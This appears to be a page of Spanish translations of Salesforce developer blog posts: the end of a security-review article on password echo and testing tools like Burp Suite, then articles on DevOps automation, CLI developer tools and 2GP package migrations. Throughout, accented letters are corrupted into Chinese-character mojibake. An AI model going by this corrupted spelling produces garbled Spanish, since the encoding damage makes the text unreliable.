Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

脷ltima actualizaci贸n el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatizaci贸n ha surgido como una soluci贸n clave, agilizando los procesos para aumentar la productividad y liberar la innovaci贸n. Salesforce no es inmune a estos desaf铆os y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboraci贸n de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatizaci贸n.

La combinaci贸n de automatizaci贸n y Salesforce DevOps cosecha m煤ltiples beneficios: menos errores, preparaci贸n m谩s r谩pida para el mercado, una canalizaci贸n de lanzamiento optimizada, menos repeticiones, calidad de c贸digo superior y mecanismos de retroalimentaci贸n m谩s fuertes. Mejora la eficiencia operativa y la velocidad de implementaci贸n en el ecosistema de Salesforce, fomentando un desarrollo 谩gil.

Este art铆culo explora la intersecci贸n de la automatizaci贸n y Salesforce DevOps, los beneficios de su sinergia y formas pr谩cticas de aplicarla para un desarrollo m谩s r谩pido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este art铆culo ofrece informaci贸n para reforzar su enfoque de DevOps de Salesforce con la automatizaci贸n.

Descripci贸n de DevOps de Salesforce

Antes de profundizar en c贸mo se cruzan Salesforce DevOps y la automatizaci贸n, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinaci贸n de ' Desarrollo ' y ' Operaciones ', es un conjunto de pr谩cticas dise帽adas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la uni贸n de estos principios con las s贸lidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementaci贸n m谩s fluidos y r谩pidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integraci贸n continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acci贸n centrada en el cliente,
  4. Cultura de colaboraci贸n.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armon铆a, lo que lleva a ciclos de desarrollo m谩s cortos, tiempo de comercializaci贸n m谩s r谩pido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desaf铆os. Si bien es un activo, las caracter铆sticas integrales y la capacidad de personalizaci贸n de Salesforce pueden complicar el proceso de desarrollo e implementaci贸n .

Los desaf铆os difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los m谩s comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de c贸digo,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del c贸digo
  • Estabilidad del sistema mientras entrega a gran velocidad

Aqu铆 es donde la automatizaci贸n viene al rescate. La automatizaci贸n, en esencia, es el uso de la tecnolog铆a para realizar tareas con una intervenci贸n humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desaf铆os.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del c贸digo al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y c贸digo en diferentes entornos, lo que reduce los errores de implementaci贸n. Del mismo modo, la automatizaci贸n de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan m谩s valor, como el desarrollo de funciones o el dise帽o de sistemas.

Adem谩s, la automatizaci贸n fomenta un proceso de desarrollo m谩s 谩gil, lo que permite actualizaciones peri贸dicas e incrementales en lugar de implementaciones r铆gidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversi贸n de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatizaci贸n para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a trav茅s de la automatizaci贸n implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatizaci贸n adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas 谩reas con m谩s detalle:

Identificaci贸n de tareas manuales y repetitivas

El primer paso hacia la automatizaci贸n es reconocer qu茅 tareas est谩n ralentizando su velocidad de desarrollo.

Estos t铆picamente incluyen:

  • Revisiones de c贸digo,
  • Pruebas,
  • Despliegue,
  • Configuraci贸n,
  • Migraci贸n de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar d贸nde la automatizaci贸n proporcionar谩 el mayor beneficio y tendr谩 un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementaci贸n de herramientas y marcos de automatizaci贸n

Una vez que haya identificado las 谩reas que podr铆an beneficiarse de la automatizaci贸n, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatizaci贸n integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser m谩s adecuadas para tareas complejas, como Salesforce DX para la gesti贸n del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integraci贸n y entrega continuas. Al seleccionar estas herramientas, aseg煤rese de que se alineen con las habilidades de su equipo y los requisitos espec铆ficos de su entorno de Salesforce.

Optimizaci贸n de procesos para mejorar la eficiencia

La automatizaci贸n no se trata solo de herramientas y tecnolog铆a. Tambi茅n se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y 谩reas de mejora.

Por ejemplo:

  1. 驴C贸mo se informan y rastrean los errores?
  2. 驴Con qu茅 frecuencia se realizan las implementaciones y c贸mo se programan?
  3. 驴C贸mo se recopilan los comentarios y c贸mo se act煤a en consecuencia?

Simplificar estos procesos puede mejorar dr谩sticamente la eficiencia de su equipo, permiti茅ndole aprovechar al m谩ximo sus esfuerzos de automatizaci贸n.

Vale la pena mencionar que los beneficios de la automatizaci贸n van m谩s all谩 de acelerar el desarrollo. La automatizaci贸n tambi茅n puede mejorar la calidad del c贸digo al detectar errores temprano a trav茅s de pruebas automatizadas. Puede reducir los errores de implementaci贸n al sincronizar el c贸digo en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse m谩s en el desarrollo de caracter铆sticas y el dise帽o del sistema, fomentando as铆 la innovaci贸n y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas peri贸dicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicaci贸n, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatizaci贸n puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementaci贸n de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar dr谩sticamente el proceso de desarrollo, lo que garantiza implementaciones m谩s r谩pidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opci贸n para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades espec铆ficas de su aplicaci贸n, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores pr谩cticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores pr谩cticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : aseg煤rese de probar todas las partes de su aplicaci贸n. Salesforce requiere una cobertura de c贸digo m铆nima del 75 %, pero apuntar a una mayor cobertura puede brindar m谩s confianza en la confiabilidad de la aplicaci贸n.
  • Cree pruebas repetibles y aut贸nomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una funci贸n espec铆fica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicaci贸n evolucione, sus pruebas tambi茅n deber铆an hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisi贸n el estado actual de su aplicaci贸n.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integraci贸n y pruebas de interfaz de usuario para validar todos los aspectos de su aplicaci贸n. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicaci贸n.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentaci贸n, explicando lo que se supone que debe hacer una parte del c贸digo. Aseg煤rese de que sus pruebas est茅n bien estructuradas y claramente escritas para que sean f谩ciles de entender para los dem谩s.
  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporaci贸n de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas r谩pidamente.

Integraci贸n e implementaci贸n continuas con automatizaci贸n

La integraci贸n continua y la implementaci贸n continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD est谩 dise帽ado para reducir errores y acelerar el desarrollo a trav茅s de la integraci贸n continua de c贸digo y procesos de implementaci贸n automatizados y consistentes.

En el contexto de Salesforce, CI fusiona peri贸dicamente los cambios de c贸digo en un repositorio compartido, a menudo varias veces al d铆a. Cada integraci贸n se verifica autom谩ticamente mediante la creaci贸n de la aplicaci贸n y la ejecuci贸n de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el c贸digo existente y no introduzcan errores.

Por otro lado, CD implementa autom谩ticamente esos cambios en la producci贸n, lo que garantiza que las nuevas caracter铆sticas, configuraciones y mejoras lleguen a los usuarios finales lo m谩s r谩pido posible. En Salesforce, CD puede implicar la implementaci贸n de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producci贸n.

La automatizaci贸n es clave para lograr procesos impecables de CI/CD de Salesforce. A trav茅s de la automatizaci贸n, puede optimizar y estandarizar los pasos involucrados en:

  • Creaci贸n, prueba e implementaci贸n de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatizaci贸n del proceso de compilaci贸n garantiza que los cambios en el c贸digo se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo c贸digo. La automatizaci贸n del proceso de implementaci贸n ayuda a sincronizar el c贸digo y los cambios de configuraci贸n en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versi贸n m谩s reciente y precisa de la aplicaci贸n.

Control de versiones y automatizaci贸n de la gesti贸n de cambios

En el desarrollo de Salesforce, el control de versiones y la gesti贸n de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicaci贸n.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de c贸digo. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el c贸digo de varios desarrolladores al mismo tiempo.

La gesti贸n de cambios se refiere a la gesti贸n y el seguimiento de los cambios del sistema, incluidos los cambios de configuraci贸n, las modificaciones de c贸digo y las implementaciones de nuevas funciones.

La automatizaci贸n de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integraci贸n de c贸digo m谩s fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gesti贸n de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisi贸n, mejorando la responsabilidad y facilitando el diagn贸stico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gesti贸n de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del c贸digo, lo que ayuda a mantener la integridad del c贸digo.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementaci贸n de cambios en diferentes entornos para la gesti贸n de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera m谩s efectiva y mantener la estabilidad de su aplicaci贸n.

Automatizaci贸n de la supervisi贸n y el tratamiento de errores

En el 谩mbito vertiginoso del desarrollo de Salesforce, el papel de la automatizaci贸n se extiende m谩s all谩 de la creaci贸n, prueba e implementaci贸n. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicaci贸n y corregir r谩pidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo est茅 al tanto de cualquier problema al instante, lo que permite una respuesta r谩pida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementaci贸n de estas herramientas de automatizaci贸n en Salesforce DevOps implica el uso estrat茅gico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditor铆a de aplicaciones de su organizaci贸n, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle autom谩ticamente sobre errores o excepciones.

Conclusi贸n

La automatizaci贸n combinada con las pr谩cticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el 茅xito en el vertiginoso panorama digital actual.

Para implementar la automatizaci贸n en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podr铆an automatizarse. Luego, implemente herramientas adecuadas para tareas como integraci贸n continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementaci贸n de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopci贸n de la automatizaci贸n en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce contin煤a evolucionando, el papel de la automatizaci贸n crecer谩 a煤n m谩s, dando forma al futuro del desarrollo de Salesforce.

Este art铆culo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el dise帽o, el comercio electr贸nico, el marketing digital y el esp铆ritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un inter茅s particular en el dise帽o gr谩fico, el SEO y las redes sociales.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Herramientas para desarrolladores desde cero (Parte 2 de 2) 鈽侊笍

Herramientas para desarrolladores desde cero (Parte 2 de 2) 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Herramientas para desarrolladores desde cero (Parte 2 de 2) | Blog de desarrolladores de Salesforce

Tanto si es un nuevo desarrollador que acaba de empezar su carrera en el ecosistema de Salesforce como si es un desarrollador experimentado de Salesforce que a煤n no se ha cambiado a nuestras nuevas herramientas para desarrolladores, esta serie de publicaciones de blog es para usted. Le mostraremos c贸mo configurar y utilizar las herramientas que pueden ayudar a todos los desarrolladores de Salesforce a ser mucho m谩s productivos y felices.

En la Parte 1 de esta serie , discutimos c贸mo obtener una organizaci贸n gratuita para el desarrollo y c贸mo instalar las herramientas de desarrollo que todo desarrollador de Salesforce deber铆a usar hoy. Le mostramos c贸mo crear un proyecto y autorizarlo con su organizaci贸n y, finalmente, c贸mo implementar metadatos mediante la CLI de Salesforce o VS Code. En esta segunda publicaci贸n de blog, aprender谩 c贸mo recuperar metadatos, trabajar con organizaciones con seguimiento de origen y usar bibliotecas de Node para cuidar la calidad de su c贸digo. Adem谩s, compartiremos otras gemas ocultas de las extensiones de Salesforce para VS Code. 隆Vamos a sumergirnos en 茅l!

Recuperar metadatos de la organizaci贸n

Un pilar del desarrollo de Salesforce es ser eficiente sin reinventar la rueda. Es por eso que hay muchas herramientas de c贸digo bajo disponibles que le permiten crear y modificar metadatos directamente en su organizaci贸n con solo hacer clic. Es posible que vea estas herramientas a las que se hace referencia como herramientas de "apuntar y hacer clic" o herramientas "declarativas". Algunos metadatos t铆picos que crea con clics son p谩ginas, aplicaciones y flujos.

Estos metadatos son algo que puede recuperar en su proyecto local y continuar ampli谩ndolos con c贸digo si es necesario. De hecho, la mejor pr谩ctica es recuperar los metadatos de su organizaci贸n y almacenarlos en un sistema de control de versiones como Git. Pero dejemos este tema para otra entrada del blog.

Si crea o modifica metadatos con clics en su organizaci贸n y conoce el nombre del tipo de metadatos que desea recuperar, puede hacerlo ejecutando este comando:

sf project retrieve start -m FlexiPage

Los nombres de los tipos de metadatos pueden no ser obvios al principio. Afortunadamente, hay algo muy bueno que puede usar para ver todos los metadatos que existen en su organizaci贸n y recuperar lo que necesita: Org Browser. El navegador de la organizaci贸n se agrega a VS Code gracias a las extensiones de Salesforce para VS Code. 脕bralo haciendo clic en el 铆cono de la nube en el panel lateral izquierdo de VS Code, busque los metadatos que necesita y simplemente haga clic en recuperar.

Puede encontrar una lista completa de nombres de tipos de metadatos en la Gu铆a para desarrolladores de la API de metadatos .

Una 煤ltima opci贸n: si los metadatos ya existen en su proyecto local y desea recuperar una versi贸n actualizada, puede hacer clic con el bot贸n derecho en el archivo y seleccionar Retrieve Source from Org .

Un requisito com煤n para las organizaciones existentes ser谩 recuperar todos los metadatos de la organizaci贸n por primera vez y almacenarlos en el proyecto local (y, por lo general, en un sistema de control de versiones). Este es un tema m谩s avanzado, pero si quieres aprender c贸mo hacerlo, te recomiendo ver este video Quick Take .

Trabajar con organizaciones con seguimiento de origen

En esta publicaci贸n de blog, nos hemos centrado en las organizaciones que no tienen activado el seguimiento de fuentes. Esta es la opci贸n predeterminada para las organizaciones y sandboxes de desarrolladores, aunque, en los sandboxes de desarrolladores, se puede activar el seguimiento de origen. Existe otro tipo de organizaci贸n, denominada organizaci贸n borrador, que tiene activado el seguimiento de origen de forma predeterminada.

La principal diferencia con las organizaciones con seguimiento de origen, con respecto a la implementaci贸n y recuperaci贸n de c贸digo, es que los cambios de metadatos se rastrean autom谩ticamente. Eso significa que puede simplificar los comandos de implementaci贸n y recuperaci贸n, simplemente escribiendo:

sf project deploy start

o

sf project retrieve start

La CLI detectar谩 autom谩ticamente todo lo que haya cambiado en su organizaci贸n o en su proyecto local y lo implementar谩 o recuperar谩 en consecuencia. Este es un cambio de juego para los desarrolladores, ya que no tener que especificar los metadatos o la carpeta para recuperar o implementar lo convierte en un desarrollador mucho m谩s productivo. Lea la documentaci贸n para comenzar con el seguimiento de fuentes en Sandboxes u organizaciones Scratch .

Cuidando la calidad del c贸digo con las bibliotecas de Node

Cuando genera un proyecto, tambi茅n contendr谩 un archivo package.json . Este archivo define el proyecto como un proyecto de Node.js. La CLI de Salesforce y la Extensi贸n de Salesforce para su IDE estructuran el proyecto de esta manera, para que pueda ejecutar secuencias de comandos que cuidan la calidad de su c贸digo. Los scripts usan bibliotecas que se definen en la secci贸n devDependencies de package.json y deben descargarse en su proyecto local ejecutando el comando npm install . Ninguna de las bibliotecas de Node se implementar谩 en su organizaci贸n, solo se usar谩n en su m谩quina local.

Aqu铆 hay un resumen de lo que hacen las bibliotecas:

  • Prettier se usa para formatear su c贸digo siguiendo criterios configurables. Esto es extremadamente 煤til cuando varios desarrolladores trabajan en el mismo proyecto, ya que tienen una forma unificada y automatizada de formatear el c贸digo. Tambi茅n proporcionamos un complemento Prettier espec铆fico para formatear las clases de Apex.
  • ESLint lo ayuda a encontrar y solucionar problemas con su c贸digo JavaScript. Adem谩s, proporcionamos un complemento ESLint dise帽ado para filtrar el c贸digo JavaScript de Lightning Web Components.
  • sfdx-lwc-jest se utiliza para escribir y ejecutar pruebas de Jest para sus componentes web Lightning. sa11y es un complemento para escribir pruebas de accesibilidad y asegurarse de que sus componentes sean accesibles.

El punto de entrada para usar las bibliotecas son los scripts definidos en la secci贸n scripts .

Los scripts se pueden ejecutar localmente, bajo demanda y de forma automatizada. Por lo general, estos scripts se ejecutan autom谩ticamente antes de enviar su c贸digo a un repositorio de c贸digo al fusionar su c贸digo con c贸digo desarrollado por otros, o al mover cambios entre entornos en su canalizaci贸n. Esto garantiza que el c贸digo tenga la calidad esperada y que su funcionalidad no se rompa. Este concepto se conoce como integraci贸n continua, y puede ver un buen video de codeLive al respecto.

El uso de estas bibliotecas no es obligatorio, pero recomendamos encarecidamente hacerlo. Para saber m谩s sobre este tema, lee nuestra entrada de blog .

Otras joyas de las Extensiones de Salesforce para VS Code

Eso no es todo sobre las extensiones de Salesforce. Agregan a VS Code muchas m谩s capacidades, como resaltado de sintaxis, finalizaci贸n de c贸digo y validaci贸n de CSS para Lightning Web Components, Aura Components, Apex, SOQL y Visualforce.

Tambi茅n muestran una pesta帽a de prueba que hace que sea mucho m谩s f谩cil ejecutar y escribir pruebas de Apex y Lightning Web Components.

Y, por 煤ltimo, tambi茅n facilitan la depuraci贸n de Apex, gracias a Apex Replay Debugger .

Adem谩s de eso, algo muy bueno de VS Code es que puede agregar toneladas de extensiones creadas por desarrolladores de todos los diferentes ecosistemas. Hay extensiones para ayudarlo con el control de versiones y con el an谩lisis est谩tico de c贸digo (como PMD ). Existen extensiones para Prettier y ESLint que te dan avisos cuando el c贸digo no cumple con sus reglas. Hay extensiones para casi todo lo que pueda necesitar, 隆incluso para usar Chat GPT! Eche un vistazo al VS Code Marketplace para ver todas las extensiones disponibles o, mejor a煤n, 隆cree la suya propia!

Conclusi贸n

隆Vaya, eso fue mucho! En esta publicaci贸n de blog, aprendi贸 sobre las herramientas de desarrollador que todo desarrollador de Salesforce debe conocer y utilizar. Al dominar estas herramientas, se convertir谩 en un desarrollador mucho m谩s productivo, r谩pido y feliz. Si quieres aprender todo este contenido en formato de video, mira nuestro episodio de codeLive . Si trabaja con sandboxes, puede ampliar su conocimiento sobre c贸mo trabajar con sandboxes y la CLI de Salesforce leyendo nuestra serie de publicaciones de blog . Y si tiene preguntas, no dude en hacerlas en Salesforce Developers Trailblazer Community . 隆Feliz codificaci贸n!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Mu茅vete a 2GP Administrado con Migraciones de Paquetes 鈽侊笍

Mu茅vete a 2GP Administrado con Migraciones de Paquetes 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Pasar a 2GP administrado con migraciones de paquetes | Blog de desarrolladores de Salesforce

Han pasado casi cuatro a帽os desde que lanzamos por primera vez el paquete administrado de segunda generaci贸n (2GP) , que permite a nuestros socios de AppExchange crear y distribuir soluciones utilizando un modelo de desarrollo basado en CLI, basado en fuente y f谩cil de automatizar.

Desde entonces, recibimos una gran cantidad de excelentes comentarios de nuestra comunidad de desarrolladores, y continuamos innovando en m煤ltiples 谩reas relacionadas con la experiencia del desarrollador, el rendimiento, la paridad del tipo de metadatos con el paquete administrado de primera generaci贸n (1GP), etc. Cada vez que nos reunimos con desarrolladores de ISV, constantemente escuchamos sobre la necesidad de que Salesforce los ayude a ellos y a sus clientes a pasarse al mundo de 2GP.

隆Hoy, tengo algunas noticias emocionantes para compartir con todos ustedes! Estamos abordando la pregunta n.潞 1 de nuestros desarrolladores de ISV al presentar una nueva funci贸n: Migraciones de paquetes . En pocas palabras, Package Migrations automatiza por completo el proceso de convertir paquetes 1GP a 2GP y migra sin problemas a los clientes con paquetes instalados a 2GP. Si es un socio ISV que crea paquetes administrados, 隆esta publicaci贸n de blog es para usted!

Antes de sumergirnos en los detalles de las migraciones de paquetes, echemos un vistazo a algunos beneficios de usar 2GP para el desarrollo de paquetes.

Beneficios de usar 2GP para el desarrollo de paquetes

En el coraz贸n de 2GP se encuentra un modelo de desarrollo basado en fuente, donde un repositorio de c贸digo fuente como Git representa la fuente de la verdad para su paquete. Esto es fundamentalmente diferente del mundo de 1GP, donde utiliza una organizaci贸n de empaquetado para mantener todos los metadatos que desea empaquetar y distribuir a sus clientes.

Este modelo de desarrollo impulsado por la fuente, impulsado por la CLI de Salesforce , puede aumentar dr谩sticamente la productividad y la colaboraci贸n de su equipo. Los desarrolladores pueden usar Dev Hub para activar r谩pidamente organizaciones temporales , crear una funci贸n de forma conjunta y comprometerla con el control de c贸digo fuente. Cuando est茅 listo para distribuir una nueva versi贸n de su 2GP, simplemente extraiga la rama correspondiente a una m谩quina local y use la CLI para crear su nueva versi贸n del paquete.

Es importante destacar que este enfoque basado en CLI tambi茅n significa que puede integrar f谩cilmente su proceso de empaque por completo en CI/CD, lo que facilita la automatizaci贸n completa de su flujo de trabajo. Puede, por ejemplo, ejecutar autom谩ticamente Salesforce Code Analyzer en una base de c贸digo y, siempre que no se encuentren problemas, crear una nueva versi贸n del paquete.

En el mundo de 1GP, estabas atrapado usando un espacio de nombres diferente para cada uno de tus paquetes. En 2GP, todos sus paquetes pueden compartir el mismo espacio de nombres, lo que le permite aprovechar un enfoque verdaderamente modular para el desarrollo de paquetes para mantener sus paquetes bien organizados. Tambi茅n es posible declarar expl铆citamente dependencias entre paquetes , asegurando que todo funcione en conjunto sin problemas.

Con 2GP, tambi茅n obtiene un control de versiones flexible, lo que le permite abandonar versiones de paquetes que ya no desea utilizar. En su lugar, puede especificar un ancestro de la versi贸n del paquete y crear efectivamente una nueva rama en la que desee continuar con su desarrollo.

Finalmente, apoyar a los clientes nunca ha sido tan f谩cil con 2GP. En el mundo de 1GP, los parches solo se pueden crear desde una organizaci贸n de parches. Con el modelo de desarrollo basado en el c贸digo fuente de 2GP, puede simplemente crear una versi贸n del paquete de parches directamente desde la CLI y, siempre que el parche cumpla con los requisitos relacionados con los cambios menores y la ascendencia del paquete, se crea y est谩 listo para instalarse en la organizaci贸n de su cliente.

Dicho todo esto, 2GP puede agregar mucho valor a su proceso de desarrollo. 隆Ahora, averig眉emos c贸mo las Migraciones de paquetes pueden ayudarlo a llegar al mundo de 2GP!

Introducci贸n a las migraciones de paquetes

